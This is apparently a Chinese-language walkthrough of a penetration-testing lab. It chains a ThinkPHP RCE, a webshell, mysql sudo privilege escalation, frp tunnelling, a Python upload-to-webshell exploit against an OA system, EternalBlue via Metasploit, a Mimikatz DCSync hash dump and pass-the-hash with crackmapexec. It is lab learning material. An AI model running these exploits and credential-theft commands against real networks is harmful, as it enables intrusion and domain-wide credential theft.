算是第一个打下来的完整渗透靶场,还蛮有意思的
80进去是一个登录页
但是登录不了一点,用fscan扫一下,发现是thinkphp框架,且存在漏洞
做的时候没截图,这一步可以用现成的工具直接打
[+] 目标存在tp5_construct_code_exec_2漏洞
写shell进去蚁剑连接,用户权限是www-data,看不了flag,想办法提取
传LiuEnum脚本上去扫洞,(记得chmod +x)发现可以用mysql提权
进网页查一下用法
https://gtfobins.github.io/gtfobins/mysql/#shell
find命令直接找
sudo mysql -e '\! find -name \*flag\*' 发现/root/flag/flag01.txt,继续cat
给了个提示要进内网
上传fscan继续扫内网,这里有一个比较坑的地方,就是蚁剑终端无回显,需要将输出结果保存到其他文件再查看
root@ubuntu-web01:~# ./fscan -h 172.22.1.0/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.1.15 is alive
(icmp) Target 172.22.1.2 is alive
(icmp) Target 172.22.1.18 is alive
(icmp) Target 172.22.1.21 is alive
[*] Icmp alive hosts len is: 4
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.18:3306 open
172.22.1.21:445 open
172.22.1.18:445 open
172.22.1.2:445 open
172.22.1.21:139 open
172.22.1.2:88 open
[*] alive ports len is: 11
start vulscan
[*] NetInfo
[*]172.22.1.21
[->]XIAORANG-WIN7
[->]172.22.1.21
[*] NetInfo
[*]172.22.1.2
[->]DC01
[->]172.22.1.2
[+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetInfo
[*]172.22.1.18
[->]XIAORANG-OA01
[->]172.22.1.18
[*] OsInfo 172.22.1.2 (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.1.2 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600
[*] NetBios 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
已完成 11/11
[*] 扫描结束,耗时: 6.087067491s
接下来需要搭个frp把内网流量带出来,这样才可以访问到里面的几台机子
网上的教程大多数都是老版本的frp,toml格式的不是很好找
frps.toml
bindPort = 7000
vhostHTTPPort = 8080
transport.tcpMux = true
webServer.port = 7300 #{也可自行修改端口}
webServer.addr = "0.0.0.0" #公网ip或者域名
webServer.user = "admin" #登录用户名{可自行修改}
webServer.password = "admin" #登录密码{可自行修改}`
frpc.toml
serverAddr = "自己的公网服务器ip地址"
serverPort = 7000
transport.tcpMux = true
[[proxies]]
name = "test-tcp"
type = "tcp"
localIP = "127.0.0.1"
localPort = 22
remotePort = 3002
[proxies.plugin]
type="socks5"
运行命令就是先chmod +x
再./frps -c frps.toml
有时需要加sudo
frp配好之后服务端和客户端就建立好了通信隧道,那么本机或者kali该怎么通过这个隧道呢
本机使用proxifier,建议使用汉化版(网上可以找到
账号密码不用输,如果需要的话在frpc.toml里面加入username=,password=
kali的话则使用proxychains4,在它的配置文件/etc/proxychains4里面加入socks5 公网服务器ip 3002
到这里就可以正常访问了
看版本是2.2,存在文件上传和弱密码漏洞,网上一大堆,弱密码admin,admin123
登录上去之后打文件上传
# 1.php为webshell
# 需要修改以下内容:
# url_pre = 'http://<IP>/'
# 'adminuser': '<ADMINUSER_BASE64>',
# 'adminpass': '<ADMINPASS_BASE64>',
import requests
session = requests.session()
url_pre = 'http://<IP>/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
# url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=<ID>'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': '<ADMINUSER_BASE64>',
'adminpass': '<ADMINPASS_BASE64>',
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
print(filepath)
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)
传上马之后找到flag2
好像是在C:\Users\Administrator目录下
接下来打永恒之蓝,kali有可以直接用的poc,在这之前记得配好proxychains4
proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
run
打完拿到一个正向连接的shell,连上之后找半天flag,一直找不到,看了一眼wp才发现到这里要打一个DCSync
- DCSync的原理是利用域控制器之间的数据同步复制
DCSync是AD域渗透中常用的凭据窃取手段,默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个DC从另外一个DC同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制,DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据,由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式
此时我们是system权限,可以load kiwi然后抓取用户的哈希值打一个哈希传递
load kiwi
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
```
meterpreter > kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv
[DC] 'xiaorang.lab' will be the domain
[DC] 'DC01.xiaorang.lab' will be the DC server
[DC] Exporting domain 'xiaorang.lab'
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502 krbtgt fb812eea13a18b7fcdb8e6d67ddc205b 514
1106 Marcus e07510a4284b3c97c8e7dee970918c5c 512
1107 Charles f6a9881cd5ae709abb4ac9ab87f24617 512
1000 DC01$ 625fd1722a3aa917f16ac890ae610843 532480
500 Administrator 10cf89a850fb1cdbe6bb432b859164c8512
1104 XIAORANG-OA01$ 6011d85791f965aa3426f6636047a2934096
1108 XIAORANG-WIN7$ f5e265db883e025c263de53053ace2984096
抓到Administrator用户的哈希值,接下来就可以退出了,用crackmapexec直接打
proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"